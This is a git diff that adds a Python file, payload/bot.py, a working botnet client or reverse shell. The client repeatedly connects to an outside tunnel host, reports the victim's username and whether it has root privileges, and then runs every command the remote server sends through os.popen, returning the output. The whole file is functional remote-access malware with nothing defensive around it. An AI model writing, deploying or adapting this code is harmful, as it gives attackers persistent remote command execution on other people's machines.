diff --git a/payload/bot.py b/payload/bot.py new file mode 100644 index 0000000..9f12a82 --- /dev/null +++ b/payload/bot.py @@ -0,0 +1,42 @@ +import socket +import os +import sys + +SERVER_HOST = "jabarzad-34105.portmap.io" # Replace with server IP +SERVER_PORT = 34105 + + +def connect_to_server(bot_name): + while True: + try: + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + conn.connect((SERVER_HOST, SERVER_PORT)) + + # Send initial bot information to server + username = os.getlogin() + privilege = "root" if os.geteuid() == 0 else "user" + conn.send(f"{bot_name}|{username}|{privilege}".encode()) + + while True: + command = conn.recv(1024).decode() + if command.lower() == "exit": + break + try: + output = os.popen(command).read() + if not output.strip(): + output = "Command executed with no output." + conn.send(output.encode()) + except Exception as e: + conn.send(f"Error: {e}".encode()) + conn.close() + except Exception as e: + print(f"Connection error: {e}") + pass + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python3 target.py ") + sys.exit(1) + bot_name = sys.argv[1] + connect_to_server(bot_name)